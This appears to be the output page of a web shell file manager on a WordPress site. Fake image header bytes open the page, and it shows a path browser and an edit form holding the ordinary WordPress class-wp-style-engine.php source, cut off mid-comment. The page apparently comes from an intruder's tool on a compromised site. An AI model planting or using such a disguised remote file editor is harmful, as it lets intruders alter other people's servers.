�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2F'>www.santi.wien</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2Fwp-includes%2F'>wp-includes</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2Fwp-includes%2Fstyle-engine%2F'>style-engine</a>/</p><hr><h3>✏️ Editing: class-wp-style-engine.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * Style Engine: WP_Style_Engine class
 *
 * @package WordPress
 * @subpackage StyleEngine
 * @since 6.1.0
 */

/**
 * The main class integrating all other WP_Style_Engine_* classes.
 *
 * The Style Engine aims to provide a consistent API for rendering styling for blocks
 * across both client-side and server-side applications.
 *
 * This class is final and should not be extended.
 *
 * This class is for internal Core usage and is not supposed to be used by extenders
 * (plugins and/or themes). This is a low-level API that may need to do breaking changes.
 * Please, use wp_style_engine_get_styles() instead.
 *
 * @access private
 * @since 6.1.0
 * @since 6.3.0 Added support for text-columns.
 * @since 6.4.0 Added support for background.backgroundImage.
 * @since 6.5.0 Added support for background.backgroundPosition,
 *              background.backgroundRepeat and dimensions.aspectRatio.
 * @since 6.7.0 Added support for typography.writingMode.
 * @since 7.0.0 Added support for typography.textIndent.
 */
#[AllowDynamicProperties]
final class WP_Style_Engine {
	/**
	 * Style definitions that contain the instructions to parse/output valid Gutenberg styles from a block&#039;s attributes.
	 *
	 * For every style definition, the following properties are valid:
	 *
	 *  - classnames    =&gt; (array) an array of classnames to be returned for block styles. The key is a classname or pattern.
	 *                    A value of `true` means the classname should be applied always. Otherwise, a valid CSS property (string)
	 *                    to match the incoming value, e.g., &quot;color&quot; to match var:preset|color|somePresetSlug.
	 *  - css_vars      =&gt; (array) an array of key value pairs used to generate CSS var values.
	 *                     The key should be the CSS property name that matches the second element of the preset string value,
	 *                     i.e., &quot;color&quot; in var:preset|color|somePresetSlug. The value is a CSS var pattern (e.g. `--wp--preset--color--$slug`),
	 *                     whose `$slug` fragment will be replaced with the preset slug, which is the third element of the preset string value,
	 *                     i.e., `somePresetSlug` in var:preset|color|somePresetSlug.
	 *  - property_keys =&gt; (array) array of keys whose values represent a valid CSS property, e.g., &quot;margin&quot; or &quot;border&quot;.
	 *  - path          =&gt; (array) a path that accesses the corresponding style value in the block style object.
	 *  - value_func    =&gt; (string) the name of a function to generate a CSS definition array for a particular style object. The output of this function should be `array( &quot;$property&quot; =&gt; &quot;$value&quot;, ... )`.
	 *
	 * @since 6.1.0
	 * @since 7.1.0 Added `background.gradient` property.
	 * @var array
	 */
	const BLOCK_STYLE_DEFINITIONS_METADATA = array(
		&#039;background&#039; =&gt; array(
			&#039;backgroundImage&#039;      =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;background-image&#039;,
				),
				&#039;value_func&#039;    =&gt; array( self::class, &#039;get_url_or_value_css_declaration&#039; ),
				&#039;path&#039;          =&gt; array( &#039;background&#039;, &#039;backgroundImage&#039; ),
			),
			&#039;backgroundPosition&#039;   =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;background-position&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;background&#039;, &#039;backgroundPosition&#039; ),
			),
			&#039;backgroundRepeat&#039;     =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;background-repeat&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;background&#039;, &#039;backgroundRepeat&#039; ),
			),
			&#039;backgroundSize&#039;       =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;background-size&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;background&#039;, &#039;backgroundSize&#039; ),
			),
			&#039;backgroundAttachment&#039; =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;background-attachment&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;background&#039;, &#039;backgroundAttachment&#039; ),
			),
			&#039;gradient&#039;             =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;background-image&#039;,
				),
				&#039;css_vars&#039;      =&gt; array(
					&#039;gradient&#039; =&gt; &#039;--wp--preset--gradient--$slug&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;background&#039;, &#039;gradient&#039; ),
				&#039;classnames&#039;    =&gt; array(
					&#039;has-background&#039; =&gt; true,
				),
			),
		),
		&#039;color&#039;      =&gt; array(
			&#039;text&#039;       =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;color&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;color&#039;, &#039;text&#039; ),
				&#039;css_vars&#039;      =&gt; array(
					&#039;color&#039; =&gt; &#039;--wp--preset--color--$slug&#039;,
				),
				&#039;classnames&#039;    =&gt; array(
					&#039;has-text-color&#039;  =&gt; true,
					&#039;has-$slug-color&#039; =&gt; &#039;color&#039;,
				),
			),
			&#039;background&#039; =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;background-color&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;color&#039;, &#039;background&#039; ),
				&#039;css_vars&#039;      =&gt; array(
					&#039;color&#039; =&gt; &#039;--wp--preset--color--$slug&#039;,
				),
				&#039;classnames&#039;    =&gt; array(
					&#039;has-background&#039;             =&gt; true,
					&#039;has-$slug-background-color&#039; =&gt; &#039;color&#039;,
				),
			),
			&#039;gradient&#039;   =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;background&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;color&#039;, &#039;gradient&#039; ),
				&#039;css_vars&#039;      =&gt; array(
					&#039;gradient&#039; =&gt; &#039;--wp--preset--gradient--$slug&#039;,
				),
				&#039;classnames&#039;    =&gt; array(
					&#039;has-background&#039;                =&gt; true,
					&#039;has-$slug-gradient-background&#039; =&gt; &#039;gradient&#039;,
				),
			),
		),
		&#039;border&#039;     =&gt; array(
			&#039;color&#039;  =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039;    =&gt; &#039;border-color&#039;,
					&#039;individual&#039; =&gt; &#039;border-%s-color&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;border&#039;, &#039;color&#039; ),
				&#039;classnames&#039;    =&gt; array(
					&#039;has-border-color&#039;       =&gt; true,
					&#039;has-$slug-border-color&#039; =&gt; &#039;color&#039;,
				),
			),
			&#039;radius&#039; =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039;    =&gt; &#039;border-radius&#039;,
					&#039;individual&#039; =&gt; &#039;border-%s-radius&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;border&#039;, &#039;radius&#039; ),
				&#039;css_vars&#039;      =&gt; array(
					&#039;border-radius&#039; =&gt; &#039;--wp--preset--border-radius--$slug&#039;,
				),
			),
			&#039;style&#039;  =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039;    =&gt; &#039;border-style&#039;,
					&#039;individual&#039; =&gt; &#039;border-%s-style&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;border&#039;, &#039;style&#039; ),
			),
			&#039;width&#039;  =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039;    =&gt; &#039;border-width&#039;,
					&#039;individual&#039; =&gt; &#039;border-%s-width&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;border&#039;, &#039;width&#039; ),
			),
			&#039;top&#039;    =&gt; array(
				&#039;value_func&#039; =&gt; array( self::class, &#039;get_individual_property_css_declarations&#039; ),
				&#039;path&#039;       =&gt; array( &#039;border&#039;, &#039;top&#039; ),
				&#039;css_vars&#039;   =&gt; array(
					&#039;color&#039; =&gt; &#039;--wp--preset--color--$slug&#039;,
				),
			),
			&#039;right&#039;  =&gt; array(
				&#039;value_func&#039; =&gt; array( self::class, &#039;get_individual_property_css_declarations&#039; ),
				&#039;path&#039;       =&gt; array( &#039;border&#039;, &#039;right&#039; ),
				&#039;css_vars&#039;   =&gt; array(
					&#039;color&#039; =&gt; &#039;--wp--preset--color--$slug&#039;,
				),
			),
			&#039;bottom&#039; =&gt; array(
				&#039;value_func&#039; =&gt; array( self::class, &#039;get_individual_property_css_declarations&#039; ),
				&#039;path&#039;       =&gt; array( &#039;border&#039;, &#039;bottom&#039; ),
				&#039;css_vars&#039;   =&gt; array(
					&#039;color&#039; =&gt; &#039;--wp--preset--color--$slug&#039;,
				),
			),
			&#039;left&#039;   =&gt; array(
				&#039;value_func&#039; =&gt; array( self::class, &#039;get_individual_property_css_declarations&#039; ),
				&#039;path&#039;       =&gt; array( &#039;border&#039;, &#039;left&#039; ),
				&#039;css_vars&#039;   =&gt; array(
					&#039;color&#039; =&gt; &#039;--wp--preset--color--$slug&#039;,
				),
			),
		),
		&#039;shadow&#039;     =&gt; array(
			&#039;shadow&#039; =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;box-shadow&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;shadow&#039; ),
				&#039;css_vars&#039;      =&gt; array(
					&#039;shadow&#039; =&gt; &#039;--wp--preset--shadow--$slug&#039;,
				),
			),
		),
		&#039;dimensions&#039; =&gt; array(
			&#039;aspectRatio&#039; =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;aspect-ratio&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;dimensions&#039;, &#039;aspectRatio&#039; ),
				&#039;classnames&#039;    =&gt; array(
					&#039;has-aspect-ratio&#039; =&gt; true,
				),
			),
			&#039;height&#039;      =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;height&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;dimensions&#039;, &#039;height&#039; ),
				&#039;css_vars&#039;      =&gt; array(
					&#039;dimension&#039; =&gt; &#039;--wp--preset--dimension--$slug&#039;,
				),
			),
			&#039;minHeight&#039;   =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;min-height&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;dimensions&#039;, &#039;minHeight&#039; ),
				&#039;css_vars&#039;      =&gt; array(
					&#039;dimension&#039; =&gt; &#039;--wp--preset--dimension--$slug&#039;,
				),
			),
			&#039;minWidth&#039;    =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;min-width&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;dimensions&#039;, &#039;minWidth&#039; ),
				&#039;css_vars&#039;      =&gt; array(
					&#039;dimension&#039; =&gt; &#039;--wp--preset--dimension--$slug&#039;,
				),
			),
			&#039;objectFit&#039;   =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;object-fit&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;dimensions&#039;, &#039;objectFit&#039; ),
			),
			&#039;width&#039;       =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;width&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;dimensions&#039;, &#039;width&#039; ),
				&#039;css_vars&#039;      =&gt; array(
					&#039;dimension&#039; =&gt; &#039;--wp--preset--dimension--$slug&#039;,
				),
			),
		),
		&#039;spacing&#039;    =&gt; array(
			&#039;padding&#039; =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039;    =&gt; &#039;padding&#039;,
					&#039;individual&#039; =&gt; &#039;padding-%s&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;spacing&#039;, &#039;padding&#039; ),
				&#039;css_vars&#039;      =&gt; array(
					&#039;spacing&#039; =&gt; &#039;--wp--preset--spacing--$slug&#039;,
				),
			),
			&#039;margin&#039;  =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039;    =&gt; &#039;margin&#039;,
					&#039;individual&#039; =&gt; &#039;margin-%s&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;spacing&#039;, &#039;margin&#039; ),
				&#039;css_vars&#039;      =&gt; array(
					&#039;spacing&#039; =&gt; &#039;--wp--preset--spacing--$slug&#039;,
				),
			),
		),
		&#039;typography&#039; =&gt; array(
			&#039;fontSize&#039;       =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;font-size&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;typography&#039;, &#039;fontSize&#039; ),
				&#039;css_vars&#039;      =&gt; array(
					&#039;font-size&#039; =&gt; &#039;--wp--preset--font-size--$slug&#039;,
				),
				&#039;classnames&#039;    =&gt; array(
					&#039;has-$slug-font-size&#039; =&gt; &#039;font-size&#039;,
				),
			),
			&#039;fontFamily&#039;     =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;font-family&#039;,
				),
				&#039;css_vars&#039;      =&gt; array(
					&#039;font-family&#039; =&gt; &#039;--wp--preset--font-family--$slug&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;typography&#039;, &#039;fontFamily&#039; ),
				&#039;classnames&#039;    =&gt; array(
					&#039;has-$slug-font-family&#039; =&gt; &#039;font-family&#039;,
				),
			),
			&#039;fontStyle&#039;      =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;font-style&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;typography&#039;, &#039;fontStyle&#039; ),
			),
			&#039;fontWeight&#039;     =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;font-weight&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;typography&#039;, &#039;fontWeight&#039; ),
			),
			&#039;lineHeight&#039;     =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;line-height&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;typography&#039;, &#039;lineHeight&#039; ),
			),
			&#039;textColumns&#039;    =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;column-count&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;typography&#039;, &#039;textColumns&#039; ),
			),
			&#039;textDecoration&#039; =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;text-decoration&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;typography&#039;, &#039;textDecoration&#039; ),
			),
			&#039;textIndent&#039;     =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;text-indent&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;typography&#039;, &#039;textIndent&#039; ),
			),
			&#039;textTransform&#039;  =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;text-transform&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;typography&#039;, &#039;textTransform&#039; ),
			),
			&#039;letterSpacing&#039;  =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;letter-spacing&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;typography&#039;, &#039;letterSpacing&#039; ),
			),
			&#039;writingMode&#039;    =&gt; array(
				&#039;property_keys&#039; =&gt; array(
					&#039;default&#039; =&gt; &#039;writing-mode&#039;,
				),
				&#039;path&#039;          =&gt; array( &#039;typography&#039;, &#039;writingMode&#039; ),
			),
		),
	);

	/**
	 * Util: Extracts the slug in kebab case from a preset string,
	 * e.g. `heavenly-blue` from `var:preset|color|heavenlyBlue`.
	 *
	 * @since 6.1.0
	 *
	 * @param string $style_value  A single CSS preset value.
	 * @param string $property_key The CSS property that is the second element of the preset string.
	 *                             Used for matching.
	 * @return string The slug, or empty string if not found.
	 */
	protected static function get_slug_from_preset_value( $style_value, $property_key ) {
		if ( is_string( $style_value ) &amp;&amp; is_string( $property_key )
			&amp;&amp; str_contains( $style_value, &quot;var:preset|{$property_key}|&quot; )
		) {
			$index_to_splice = strrpos( $style_value, &#039;|&#039; ) + 1;
			return _wp_to_kebab_case( substr( $style_value, $index_to_splice ) );
		}
		return &#039;&#039;;
	}

	/**
	 * Util: Generates a CSS var string, e.g. `var(--wp--preset--color--background)`
	 * from a preset string such as `var:preset|space|50`.
	 *
	 * @since 6.1.0
	 *
	 * @param string   $style_value  A single CSS preset value.
	 * @param string[] $css_vars     An associate array of CSS var patterns
	 *                               used to generate the var string.
	 * @return string The CSS var, or an empty string if no match for slug found.
	 */
	protected static function get_css_var_value( $style_value, $css_vars ) {
		foreach ( $css_vars as $property_key =&gt; $css_var_pattern ) {
			$slug = static::get_slug_from_preset_value( $style_value, $property_key );
			if ( static::is_valid_style_value( $slug ) ) {
				$var = strtr(
					$css_var_pattern,
					array( &#039;$slug&#039; =&gt; $slug )
				);
				return &quot;var($var)&quot;;
			}
		}
		return &#039;&#039;;
	}

	/**
	 * Util: Checks whether an incoming block style value is valid.
	 *
	 * @since 6.1.0
	 *
	 * @param string $style_value A single CSS preset value.
	 * @return bool
	 */
	protected static function is_valid_style_value( $style_value ) {
		return &#039;0&#039; === $style_value || ! empty( $style_value );
	}

	/**
	 * Stores a CSS rule using the provided CSS selector and CSS declarations.
	 *
	 * @since 6.1.0
	 * @since 6.6.0 Added the `$rules_group` parameter.
	 * @since 7.1.0 Extended `$css_declarations` parameter to accept `WP_Style_Engine_CSS_Declarations` object.
	 *
	 * @param string                                    $store_name       A valid store key.
	 * @param string                                    $css_selector     When a selector is passed, the function will return
	 *                                                                    a full CSS rule `$selector { ...rules }`
	 *                                                                    otherwise a concatenated string of properties and values.
	 * @param string[]|WP_Style_Engine_CSS_Declarations $css_declarations An associative array of CSS definitions,
	 *                                                                    e.g. `array( &quot;$property&quot; =&gt; &quot;$value&quot;, &quot;$property&quot; =&gt; &quot;$value&quot; )`,
	 *                                                                    or a WP_Style_Engine_CSS_Declarations object.
	 * @param string                                    $rules_group      Optional. A parent CSS selector in the case of nested CSS,
	 *                                                                    or a CSS nested @rule, such as `@media (min-width: 80rem)`
	 *                                                                    or `@layer module`.
	 */
	public static function store_css_rule( $store_name, $css_selector, $css_declarations, $rules_group = &#039;&#039; ) {
		if ( empty( $store_name ) || empty( $css_selector ) || empty( $css_declarations ) ) {
			return;
		}
		static::get_store( $store_name )-&gt;add_rule( $css_selector, $rules_group )-&gt;add_declarations( $css_declarations );
	}

	/**
	 * Returns a store by store key.
	 *
	 * @since 6.1.0
	 *
	 * @param string $store_name A store key.
	 * @return WP_Style_Engine_CSS_Rules_Store|null
	 */
	public static function get_store( $store_name ) {
		return WP_Style_Engine_CSS_Rules_Store::get_store( $store_name );
	}

	/**
	 * Returns classnames and CSS based on the values in a styles object.
	 *
	 * Return values are parsed based on the instructions in BLOCK_STYLE_DEFINITIONS_METADATA.
	 *
	 * @since 6.1.0
	 *
	 * @param array $block_styles The style object.
	 * @param array $options      {
	 *     Optional. An array of options. Default empty array.
	 *
	 *     @type bool        $convert_vars_to_classnames Whether to skip converting incoming CSS var patterns,
	 *                                                   e.g. `var:preset|&lt;PRESET_TYPE&gt;|&lt;PRESET_SLUG&gt;`,
	 *                                                   to `var( --wp--preset--* )` values. Default false.
	 *     @type string      $selector                   Optional. When a selector is passed,
	 *                                                   the value of `$css` in the return value will comprise
	 *                                                   a full CSS rule `$selector { ...$css_declarations }`,
	 *                                                   otherwise, the value will be a concatenated string
	 *                                                   of CSS declarations.
	 * }
	 * @return array {
	 *     @type string[] $classnames   Array of class names.
	 *     @type string[] $declarations An associative array of CSS definitions,
	 *                                  e.g. `array( &quot;$property&quot; =&gt; &quot;$value&quot;, &quot;$property&quot; =&gt; &quot;$value&quot; )`.
	 * }
	 */
	public static function parse_block_styles( $block_styles, $options ) {
		$parsed_styles = array(
			&#039;classnames&#039;   =&gt; array(),
			&#039;declarations&#039; =&gt; array(),
		);
		if ( empty( $block_styles ) || ! is_array( $block_styles ) ) {
			return $parsed_styles;
		}

		// Collect CSS and classnames.
		foreach ( static::BLOCK_STYLE_DEFINITIONS_METADATA as $definition_group_key =&gt; $definition_group_style ) {
			if ( empty( $block_styles[ $definition_group_key ] ) ) {
				continue;
			}
			foreach ( $definition_group_style as $style_definition ) {
				$style_value = _wp_array_get( $block_styles, $style_definition[&#039;path&#039;], null );

				if ( ! static::is_valid_style_value( $style_value ) ) {
					continue;
				}

				$classnames = static::get_classnames( $style_value, $style_definition );
				if ( ! empty( $classnames ) ) {
					$parsed_styles[&#039;classnames&#039;] = array_merge( $parsed_styles[&#039;classnames&#039;], $classnames );
				}

				$css_declarations = static::get_css_declarations( $style_value, $style_definition, $options );
				if ( ! empty( $css_declarations ) ) {
					/*
					 * Combine background gradient and background image into a single
					 * comma-separated background-image value, matching the JS style engine.
					 */
					if ( isset( $css_declarations[&#039;background-image&#039;] ) &amp;&amp; isset( $parsed_styles[&#039;declarations&#039;][&#039;background-image&#039;] ) ) {
						$css_declarations[&#039;background-image&#039;] = $css_declarations[&#039;background-image&#039;] . &#039;, &#039; . $parsed_styles[&#039;declarations&#039;][&#039;background-image&#039;];
					}
					$parsed_styles[&#039;declarations&#039;] = array_merge( $parsed_styles[&#039;declarations&#039;], $css_declarations );
				}
			}
		}

		return $parsed_styles;
	}

	/**
	 * Returns classnames, and generates classname(s) from a CSS preset property pattern,
	 * e.g. `var:preset|&lt;PRESET_TYPE&gt;|&lt;PRESET_SLUG&gt;`.
	 *
	 * @since 6.1.0
	 *
	 * @param string $style_value      A single raw style value or CSS preset property
	 *                                 from the `$block_styles` array.
	 * @param array  $style_definition A single style definition from BLOCK_STYLE_DEFINITIONS_METADATA.
	 * @return string[] An array of CSS classnames, or empty array if there are none.
	 */
	protected static function get_classnames( $style_value, $style_definition ) {
		if ( empty( $style_value ) ) {
			return array();
		}

		$classnames = array();
		if ( ! empty( $style_definition[&#039;classnames&#039;] ) ) {
			foreach ( $style_definition[&#039;classnames&#039;] as $classname =&gt; $property_key ) {
				if ( true === $property_key ) {
					$classnames[] = $classname;
					continue;
				}

				$slug = static::get_slug_from_preset_value( $style_value, $property_key );

				if ( $slug ) {
					/*
					 * Right now we expect a classname pattern to be stored in BLOCK_STYLE_DEFINITIONS_METADATA.
					 * One day, if there are no stored schemata, we could allow custom patterns or
					 * generate classnames based on other properties
					 * such as a path or a value or a prefix passed in options.
					 */
					$classnames[] = strtr( $classname, array( &#039;$slug&#039; =&gt; $slug ) );
				}
			}
		}

		return $classnames;
	}

	/**
	 * Returns an array of CSS declarations based on valid block style values.
	 *
	 * @since 6.1.0
	 *
	 * @param mixed $style_value      A single raw style value from $block_styles array.
	 * @param array $style_definition A single style definition from BLOCK_STYLE_DEFINITIONS_METADATA.
	 * @param array $options          {
	 *     Optional. An array of options. Default empty array.
	 *
	 *     @type bool $convert_vars_to_classnames Whether to skip converting incoming CSS var patterns,
	 *                                            e.g. `var:preset|&lt;PRESET_TYPE&gt;|&lt;PRESET_SLUG&gt;`,
	 *                                            to `var( --wp--preset--* )` values. Default false.
	 * }
	 * @return string[] An associative array of CSS definitions, e.g. `array( &quot;$property&quot; =&gt; &quot;$value&quot;, &quot;$property&quot; =&gt; &quot;$value&quot; )`.
	 */
	protected static function get_css_declarations( $style_value, $style_definition, $options = array() ) {
		if ( isset( $style_definition[&#039;value_func&#039;] ) &amp;&amp; is_callable( $style_definition[&#039;value_func&#039;] ) ) {
			return call_user_func( $style_definition[&#039;value_func&#039;], $style_value, $style_definition, $options );
		}

		$css_declarations     = array();
		$style_property_keys  = $style_definition[&#039;property_keys&#039;];
		$should_skip_css_vars = isset( $options[&#039;convert_vars_to_classnames&#039;] ) &amp;&amp; true === $options[&#039;convert_vars_to_classnames&#039;];

		/*
		 * Build CSS var values from `var:preset|&lt;PRESET_TYPE&gt;|&lt;PRESET_SLUG&gt;` values, e.g, `var(--wp--css--rule-slug )`.
		 * Check if the value is a CSS preset and there&#039;s a corresponding css_var pattern in the style definition.
		 */
		if ( is_string( $style_value ) &amp;&amp; str_contains( $style_value, &#039;var:&#039; ) ) {
			if ( ! $should_skip_css_vars &amp;&amp; ! empty( $style_definition[&#039;css_vars&#039;] ) ) {
				$css_var = static::get_css_var_value( $style_value, $style_definition[&#039;css_vars&#039;] );
				if ( static::is_valid_style_value( $css_var ) ) {
					$css_declarations[ $style_property_keys[&#039;default&#039;] ] = $css_var;
				}
			}
			return $css_declarations;
		}

		/*
		 * Default rule builder.
		 * If the input contains an array, assume box model-like properties
		 * for styles such as margins and padding.
		 */
		if ( is_array( $style_value ) ) {
			// Bail out early if the `&#039;individual&#039;` property is not defined.
			if ( ! isset( $style_property_keys[&#039;individual&#039;] ) ) {
				return $css_declarations;
			}

			foreach ( $style_value as $key =&gt; $value ) {
				if ( is_string( $value ) &amp;&amp; str_contains( $value, &#039;var:&#039; ) &amp;&amp; ! $should_skip_css_vars &amp;&amp; ! empty( $style_definition[&#039;css_vars&#039;] ) ) {
					$value = static::get_css_var_value( $value, $style_definition[&#039;css_vars&#039;] );
				}

				$individual_property = sprintf( $style_property_keys[&#039;individual&#039;], _wp_to_kebab_case( $key ) );

				if ( $individual_property &amp;&amp; static::is_valid_style_value( $value ) ) {
					$css_declarations[ $individual_property ] = $value;
				}
			}

			return $css_declarations;
		}

		$css_declarations[ $style_property_keys[&#039;default&#039;] ] = $style_value;
		return $css_declarations;
	}

	/**
	 * Style value parser that returns a CSS definition array comprising style properties
	 * that have keys representing individual style properties, otherwise known as longhand CSS properties.
	 *
	 * Example:
	 *
	 *     &quot;$style_property-$individual_feature: $value;&quot;
	 *
	 * Which could represent the following:
	 *
	 *     &quot;border-{top|right|bottom|left}-{color|width|style}: {value};&quot;
	 *
	 * or:
	 *
	 *     &quot;border-image-{outset|source|width|repeat|slice}: {value};&quot;
	 *
	 * @since 6.1.0
	 *
	 * @param array $style_value                    A single raw style value from `$block_styles` array.
	 * @param array $individual_property_definition A single style definition from BLOCK_STYLE_DEFINITIONS_METADATA
	 *                                              representing an individual property of a CSS property,
	 *                                              e.g. &#039;top&#039; in &#039;border-top&#039;.
	 * @param array $options                        {
	 *     Optional. An array of options. Default empty array.
	 *
	 *     @type bool $convert_vars_to_classnames Whether to skip converting incoming CSS var patterns,
	 *                                            e.g. `var:preset|&lt;PRESET_TYPE&gt;|&lt;PRESET_SLUG&gt;`,
	 *                                            to `var( --wp--preset--* )` values. Default false.
	 * }
	 * @return string[] An associative array of CSS definitions, e.g. `array( &quot;$property&quot; =&gt; &quot;$value&quot;, &quot;$property&quot; =&gt; &quot;$value&quot; )`.
	 */
	protected static function get_individual_property_css_declarations( $style_value, $individual_property_definition, $options = array() ) {
		if ( ! is_array( $style_value ) || empty( $style_value ) || empty( $individual_property_definition[&#039;path&#039;] ) ) {
			return array();
		}

		/*
		 * The first item in $individual_property_definition[&#039;path&#039;] array
		 * tells us the style property, e.g. &quot;border&quot;. We use this to get a corresponding
		 * CSS style definition such as &quot;color&quot; or &quot;width&quot; from the same group.
		 *
		 * The second item in $individual_property_definition[&#039;path&#039;] array
		 * refers to the individual property marker, e.g. &quot;top&quot;.
		 */
		$definition_group_key    = $individual_property_definition[&#039;path&#039;][0];
		$individual_property_key = $individual_property_definition[&#039;path&#039;][1];
		$should_skip_css_vars    = isset( $options[&#039;convert_vars_to_classnames&#039;] ) &amp;&amp; true === $options[&#039;convert_vars_to_classnames&#039;];
		$css_declarations        = array();

		foreach ( $style_value as $css_property =&gt; $value ) {
			if ( empty( $value ) ) {
				continue;
			}

			// Build a path to the individual rules in definitions.
			$style_definition_path = array( $definition_group_key, $css_property );
			$style_definition      = _wp_array_get( static::BLOCK_STYLE_DEFINITIONS_METADATA, $style_definition_path, null );

			if ( $style_definition &amp;&amp; isset( $style_definition[&#039;property_keys&#039;][&#039;individual&#039;] ) ) {
				// Set a CSS var if there is a valid preset value.
				if ( is_string( $value ) &amp;&amp; str_contains( $value, &#039;var:&#039; )
					&amp;&amp; ! $should_skip_css_vars &amp;&amp; ! empty( $individual_property_definition[&#039;css_vars&#039;] )
				) {
					$value = static::get_css_var_value( $value, $individual_property_definition[&#039;css_vars&#039;] );
				}

				$individual_css_property = sprintf( $style_definition[&#039;property_keys&#039;][&#039;individual&#039;], $individual_property_key );

				$css_declarations[ $individual_css_property ] = $value;
			}
		}
		return $css_declarations;
	}

	/**
	 * Style value parser that constructs a CSS definition array comprising a single CSS property and value.
	 * If the provided value is an array containing a `url` property, the function will return a CSS definition array
	 * with a single property and value, with `url` escaped and injected into a CSS `url()` function,
	 * e.g., array( &#039;background-image&#039; =&gt; &quot;url( &#039;...&#039; )&quot; ).
	 *
	 * @since 6.4.0
	 *
	 * @param array $style_value      A single raw style value from $block_styles array.
	 * @param array $style_definition A single style definition from BLOCK_STYLE_DEFINITIONS_METADATA.
	 * @return string[] An associative array of CSS definitions, e.g., array( &quot;$property&quot; =&gt; &quot;$value&quot;, &quot;$property&quot; =&gt; &quot;$value&quot; ).
	 */
